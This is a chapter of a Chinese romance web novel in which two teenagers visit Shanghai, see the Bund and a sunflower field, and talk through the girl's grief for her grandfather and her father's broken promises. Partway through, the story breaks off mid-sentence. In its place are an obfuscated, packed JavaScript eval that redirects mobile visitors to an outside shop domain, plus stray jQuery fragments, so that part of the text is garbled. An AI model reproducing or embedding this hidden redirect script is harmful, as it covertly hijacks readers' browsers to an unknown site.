文趣网 > 都市小说 > 未见春 > 33. 陪着你
    到了沪市,已是傍晚。

    这儿比星海要热得多,晚风黏稠地裹着皮肤,带着挥之不去的燥意。

    走出站,江澈问:“还困吗?”

    “我又不是猪。”徐知暖轻声咕哝。从昨天到今天,她已经快睡了十多个小时了。

    江澈笑:“行,不困就好。那我们先找地方住下,再去吃饭。”

    “好。”

    他选了一家离市中心不远、评分较高的酒店。

    打车到时,天色已完全暗了下来,霓虹初上。走进大堂,空气里浮着清淡的香薰气味,空调的凉风扑面而来,卷走了不少车厢里积攒的粘腻与倦意。

    “您好,请问有预约吗?”前台的女人微笑着抬头。

    “没。”

    “现在只剩两间大床房了。”女人打量着两人,怎么看都像是一对,只是女生看起来更小一点,“你们要……?”

    江澈:“一间。”

    徐知暖懵了,扯了扯他的衣角,小声问:“一间?”

    “放心,”他也低声,“不占你便宜。”

    “……”

    徐知暖脸一红。

    女人颔首了然:“好的,麻烦两位出示一下身份证。”

    江澈拿出自己的,又自然地接过徐知暖手里的,一并递了过去。

    女人办理手续,闲聊般开口:“我们酒店提供……嗯,安全措施。有需要的话,可以从前台领取。”

    听到这话徐知暖脸更红了。

    江澈却不咸不淡接话:“我们不是情侣。”

    女人神情一滞,第一反应是这小姑娘会不会被骗了。

    毕竟两人气质迥异,一个安静乖巧,一个冷淡疏离。可小姑娘满脸通红的样子,又显然是自己刚刚那番话说的,不像是不认识。

    她心里嘀咕,现在的小年轻都这么开放了?

    不是情侣也能……

    不过,也有另一种可能。

    她试着问:“那是兄妹?”

    “暂时还不是。”

    这句没头没尾的回答让女人怔了一秒,随即反应过来他回应的是哪一句,不由得笑了笑,没再多问。

    手续办妥,她将房卡递去,笑容亲切:“祝两位入住愉快。”

    “谢谢。”江澈接过。

    刚转身,察觉身后没动静,他侧眸看去。

    少女垂着头,站在原地一动不动。

    他眉心微拢,很轻地碰了碰她的手臂,低声:“走了。”

    徐知暖慢半拍回神,“哦”了句,跟上。

    走进电梯。

    只有他们两个人。

    徐知暖的脸还是很烫。

    意识到他们要同住一间房,心跳就慢不下来。

    尽管知道江澈是怕她再想不开,可理智归理智,心里还是慌得不知所措。

    “发什么呆?”江澈忽然问。

    徐知暖下意识“啊”了一声,“没、没啊。”

    “怕我?”

    “没有。”她急声否认。

    “放心,我睡沙发。”

    “我不是这个意思。”

    静了静。

    她的思绪飘回了江澈刚才那句回答上。

    ——“我们不是情侣。”

    ——“暂时还不是。”

    “你刚刚……为什么那样说?”

    问出口的瞬间,徐知暖自己都愣了愣。

    她本不该好奇这些的。

    “说什么?”他明知故问。

    徐知暖咬着唇:“说我们…暂时还不是。”

    “字面意思。”他声线平静,怕她听不懂,又补充,“本来,就还不是。”

    “所以……”

    “所以,”江澈接过她的话,扭头看她,“徐知暖,你要给我一个机会。”

    徐知暖对上他的目光:“什么?”

    “给你表白的机会。”

    他说得郑重,也认真,眼里没有半分玩笑。

    电梯门开,江澈先一步走了出去。

    徐知暖仍讷讷地站在原地,直到电梯门又要合拢,才猛然回神,快步跟了出去。

    走廊铺着厚厚的地毯,脚步声被吸走,一片寂静。

    江澈感知到她在身后,脚步不着痕迹地放慢,与她并肩。

    他不确定刚才那句话会不会吓到她。

    可他必须得让她知道——

    给他一个,向她表白的机会。

    不要离开他。

    ……

    酒店安顿好之后,两人在附近吃了点东西,打车去了外滩。到的时候,周围建筑的灯光已次第亮起,连绵成一片璀璨的光海。

    江风格外凉爽,甚至有些大。徐知暖刚一下车,头发就被风吹得胡乱飞舞,像个小疯子。

    可与此而来的,是一种轻松。

    这几天,她心里总是沉甸甸的。

    直到现在,置身于陌生的城市,见过从未目睹的繁华与开阔,心里那份沉重好若也被江风吹散了些许。

    她小跑到栏杆边,看着江边对面的景象,由衷感叹:“好漂亮。”

    江澈站在她身后半步。

    少女飞扬的发丝不断掠过他眼前,他几乎什么也看不清,只能从发梢的缝隙里,捕捉到她微微弯起的嘴角。

    “嗯。”他应道。

    他走进半步,站到她身侧。

    周围人多,他们挤在一处,肩膀挨着对方。

    江澈薄唇轻启,清洌的嗓音缓缓漫出:“还记得吗?你之前说过,湖是颠倒的天空。”

    “所以,看到了吗?”他侧眸问。

    “什么?”

    “这儿有两片天空,星星,还有,”稍顿,他说,“爷爷。”

    徐知暖眸色一滞,这才意识到自己当初那番话有多幼稚。

    也不知道江澈怎么相信的。

    她抿了下唇,对自己蹩脚的安慰感到些许好笑。

    “其实你说的没错。”

    她一怔。

    “物理学上有一个说法,死亡不是消失,只是粒子完成了一次重组。他没有离开,只是□□归于天地,意识跃迁进入了更漫长的时空维度最后化作了星星。”江澈说,“而湖像天空,点点灯光跳进湖里,也像星星。所以,你爷爷在。他只是换了一种坐标系,进入你的视线。”

    周围人声喧嚷,霓虹流转。

    徐知暖静静听着,没说话。

    她没料到江澈会和她说这些,也忽然明白,他为什么要带她来这里。

    “暖暖,以后只要你想他了,我们就来看他。”江澈侧头,看着她的眼睛,弯唇,

    “我会陪着你的。”

    -

    白天睡了太久,徐知暖回到酒店,再次失眠。

    想象中的尴尬或古怪并未出现。

    江澈在房间另一端,存在感强得不容忽视。可也正是因为这种存在感,反而让她感到心安。

    就像一剂镇定剂。

    她侧身躺着,凝着沙发处已经睡着的少年。

    江澈显然累极了,睡得沉,长腿略显委屈地搭在沙发外沿。

    她不由自主地,在黑暗里回想着这一整天。

    他说过的话,看过的风景,吹过的那阵江风。

    不知过了多久,意识才昏沉坠入梦里。

    梦境依旧是那些反复闪回的碎片。

    有爷爷还在的时候,陪着她在校园里做橘子糖。又小巷里,那个被人围堵、眼神冷冽的少年。后来她知道了,他叫江澈。

    是她以后会喜欢的少年。

    梦的尾声,反复回荡着一句话——

    “我会陪着你的。”

    像潮水漫过粗粝的沙滩。

    最初硌脚的砂砾被海水一遍遍抚过,渐渐磨去了棱角,只剩下一种钝钝,但可以承受的隐痛。

    第二天,回程的火车是晚上八点。

    他们在沪市老街逛了逛,转眼到了下午四点半。

    “现在去车站吗?”徐知暖问,“还是先吃点东西?”

    江澈收起手机,漫不经心:“先带你去实现生日愿望。”

    最近发生了太多事,生日又已经过去那么久,徐知暖自己都快忘了许过什么愿。

    直到两人换乘地铁,抵达市郊一处安静的植物园,记忆才倏然被点亮。

    下午五点,太阳斜挂西天,湛蓝的天空浮着炫丽的火烧云,整片向日葵花海被暖光浸透,随风起伏,恍如一片燃烧的海。

    徐知暖怔愣地望着这一切。

    除了爷爷,从来没有人会把她的愿望记得那么清楚,还会真的带她去实现。

    小时候,还没搬去和爷爷住时。

    徐知暖每年的生日都是和徐志恒一起过。有时他心情好了,也会给她买一个小蛋糕,插上蜡烛,对她说:“暖暖,快许个愿吧!”

    她从小就是懂事的,知道家里条件不好,也不会许什么昂贵的愿望。而且,对于徐志恒还记得自己生日这件事情,她已经很满足了。

    尽管,他经常打骂。

    但在徐知暖心底,她还是渴望父爱的。

    生日许愿是固定流程。

    徐志恒每次都会问:“许了什么呀?”

    她总是很乖地点头,然后满怀期待地说出来。

    有一年,她说:“想要一件新衣服。”

    那时她刚上小学,其他小朋友都是新衣服,就她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596083|204148||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    没有,只能穿校服。尽管她在学校里成绩突出,可多多少少也收到了很多来自同龄人的“关心。”

    自尊,让她很想要一件新衣服。

    不需要多贵,几十块钱的就好。

    “好!”徐志恒答应了。

    徐知暖很开心。

    为此,之后很长一段时间,她每天都在期盼,想象着新衣服会是什么颜色,什么样子。

    从立春盼到立夏。

    直到学校放假了,新衣服,也始终没有来。

    那次期末,她考了全班第一。

    她捏着成绩单,鼓起勇气,走到喝醉的徐志恒身边,怯生生地问:“爸爸,我的新衣服呢?”

    徐志恒皱了下眉:“哦,爸爸最近手头紧,下次,下次一定给你买。”

    她虽失落,但面上不露。

    她很理解爸爸的不容易,于是笑着乖乖点头。

    又是一个新的学期。

    她再问,答案依旧。

    很快,新的生日到了。

    再次许愿,徐知暖还是认真说了一个。

    只是,愿望再次落空。

    后来,渐渐地,她不再许愿。

    如果徐志恒再问,她也只说没什么愿望。

    上四年级时,同学们说圣诞老人会实现愿望。

    徐知暖相信了,开始在每年圣诞对着圣诞老人许愿。

    也成真了。

    只不过,后知后觉发现,这一切都是虚幻。

    只是自己努力。

    可上次、现在……

    徐知暖眨了眨发烫的眼睛,莞尔:“江澈,我觉得,你好像圣诞老人。”甚至,比圣诞老人还要好。

    “为什么?”江澈挑眉。

    徐知暖还是没能忍住。

    一滴泪滑落唇边:“因为,你总能实现我的愿望。”

    “你怎么不说,你也是?”江澈说,“也能实现我的愿望。”

    徐知暖猜他说的是应该是这次出来玩。

    可这哪能一样:“你那些愿望都太简单了,实现起来,也没什么难的。”

    “简单?”

    “嗯。”

    “那行,”他语气随意,“那我现在想个难的,要不要试试?”

    “啊?”

    望着热烈盛开的向日葵,他勾唇,温沉道:“徐知暖,“等来年春天,我们一起种向日葵,好不好?”

    徐知暖呼吸微停。

    心跳紧跟着漏掉半拍,随即失序乱撞。

    “怎么说?这个愿望,”他侧过脸看她,“这个愿望,要挑战一下吗?”

    听来像是一个愿望,可徐知暖觉得更像是一个承诺。

    一个关于“以后”,关于“春天”,关于“他们”的承诺。

    “可以。”她清晰一笑。

    琥珀色的眼眸在暖橙色的天光下,再一次变得干净、明亮,仿佛被泪水与时光一同擦洗过,依稀有了从前的模样。

    这两天,江澈能感觉到她或许好了一些,又不能完全确定。

    唯有现在,那双眼眸骗不了人。

    他想,她应该是真的,有一点开心了。

    遇见她之前,江澈很少承诺。

    诺言对他来说,就像漂在茫茫汪洋上的落叶,轻飘,无根,说不准在哪个浪头袭来,就被吞没了。

    可是。

    此时此刻。

    他是真的希望,往后的每一个春天,她都在。

    他想和她一起,亲手种下一片炙烈的花海。

    -

    到星海已是凌晨。

    和之前一样,江澈等到徐知暖睡着了,才下楼休息。

    但今晚,他失眠了。

    回到这个地方,他心里又开始隐隐担忧,触景生情是什么滋味,他比谁都清楚。

    天微亮,江澈趁徐知暖还没醒,去找了何润凯。

    别墅里。

    何润凯站在咖啡机前,笑着数落他:“你小子,还知道来找我。放假这么久了,我天天盼,愣是没见着人影。”

    江澈:“前阵子学校组织去苏市培训了,刚回来不久,您就给我打电话了。”

    何润凯看了他一眼,了然:“陪那个小姑娘去了?”

    “嗯。”

    咖啡的香气漫开。

    何润凯将杯子推到他面前,在对面的沙发坐下:“她现在怎么样?”

    “亲人离世,总归是伤心的。”

    何润凯叹了口气:“小姑娘也是可怜。老人也是,你都不知道,昨天我碰到梁医生,就上次推你的那个骨科医生,他说——”

    江澈今天本是来道谢的。

    只是没想到,会听到这件事。